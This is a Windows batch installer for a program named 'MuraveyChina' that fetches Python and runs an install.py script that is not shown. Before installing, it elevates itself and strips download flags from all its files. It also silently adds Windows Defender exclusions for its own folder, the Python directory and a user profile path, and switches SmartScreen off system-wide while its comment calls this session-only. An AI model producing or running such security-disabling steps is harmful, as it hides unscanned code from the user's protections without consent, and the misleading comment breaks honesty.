@echo off
title MuraveyChina Installer
echo.
echo  ========================================
echo   MuraveyChina - Installer
echo  ========================================
echo.

:: ── Request admin rights ──
net session >nul 2>&1
if errorlevel 1 (
    echo  Requesting administrator rights...
    echo  / Zapros prav administratora...
    powershell -Command "Start-Process cmd -ArgumentList '/c cd /d \"%~dp0\" && \"%~f0\"' -Verb RunAs"
    exit /b 0
)

:: ── Auto-unblock ALL files in the folder (removes "Downloaded from internet" flag) ──
echo  Unblocking files...
powershell -Command "Get-ChildItem -Path '%~dp0' -Recurse | Unblock-File -ErrorAction SilentlyContinue" >nul 2>&1
echo  OK
echo.

:: ── Auto-add Windows Defender exclusions ──
echo  Adding Windows Defender exclusions...
powershell -Command "Add-MpPreference -ExclusionPath '%~dp0'" >nul 2>&1
powershell -Command "Add-MpPreference -ExclusionPath 'C:\Python311'" >nul 2>&1
powershell -Command "Add-MpPreference -ExclusionPath '%USERPROFILE%\.muravey-china'" >nul 2>&1
echo  OK
echo.

:: ── Disable SmartScreen for this session (user still sees it on first run) ──
:: This just prevents repeated prompts during installation
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer" /v SmartScreenEnabled /t REG_SZ /d Off /f >nul 2>&1

:: ── Find Python ──
python --version >nul 2>&1
if not errorlevel 1 (
    :: Check if it's Python 3.11 or compatible
    python -c "import sys; exit(0 if sys.version_info[:2] in [(3,10),(3,11),(3,12)] else 1)" >nul 2>&1
    if not errorlevel 1 (
        python "%~dp0install.py"
        goto :done
    )
)

:: Try C:\Python311
if exist "C:\Python311\python.exe" (
    "C:\Python311\python.exe" "%~dp0install.py"
    goto :done
)

:: Try common locations
for %%P in (
    "%LOCALAPPDATA%\Programs\Python\Python311\python.exe"
    "C:\Program Files\Python311\python.exe"
    "%LOCALAPPDATA%\Programs\Python\Python312\python.exe"
    "C:\Program Files\Python312\python.exe"
    "%LOCALAPPDATA%\Programs\Python\Python310\python.exe"
) do (
    if exist %%P (
        %%P "%~dp0install.py"
        goto :done
    )
)

:: ── Python not found — download and install ──
echo.
echo  Python not found! Downloading Python 3.11...
echo  Python ne najden! Skachivayu Python 3.11...
echo.

:: Try PowerShell download
powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $ProgressPreference='SilentlyContinue'; Invoke-WebRequest -Uri 'https://www.python.org/ftp/python/3.11.9/python-3.11.9-amd64.exe' -OutFile '%~dp0_python_setup.exe' }"

if not exist "%~dp0_python_setup.exe" (
    :: Try certutil as fallback (works behind some proxies in China)
    certutil -urlcache -split -f "https://www.python.org/ftp/python/3.11.9/python-3.11.9-amd64.exe" "%~dp0_python_setup.exe" >nul 2>&1
)

if not exist "%~dp0_python_setup.exe" (
    echo.
    echo  [ERROR] Failed to download Python.
    echo  Download manually: https://www.python.org/ftp/python/3.11.9/python-3.11.9-amd64.exe
    echo  Install to C:\Python311, check "Add to PATH"
    echo  Then run INSTALL.bat again.
    pause
    exit /b 1
)

:: Silent install
echo  Installing Python 3.11 to C:\Python311...
echo  Ustanovka Python 3.11...
"%~dp0_python_setup.exe" /quiet InstallAllUsers=1 PrependPath=1 Include_test=0 TargetDir=C:\Python311

:: Wait and check
echo  Waiting for installation...
timeout /t 45 /nobreak >nul

:: Clean up installer
del "%~dp0_python_setup.exe" >nul 2>&1

:: Verify
if exist "C:\Python311\python.exe" (
    echo  Python 3.11 installed!
    echo.
    "C:\Python311\python.exe" "%~dp0install.py"
    goto :done
)

echo.
echo  [ERROR] Python installation failed.
echo  Download manually: https://www.python.org/ftp/python/3.11.9/python-3.11.9-amd64.exe
echo  Check [x] "Add Python to PATH"
echo  Install to C:\Python311
echo  Then run INSTALL.bat again.
pause
exit /b 1

:done
:: Re-enable SmartScreen
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer" /v SmartScreenEnabled /t REG_SZ /d Warn /f >nul 2>&1
pause
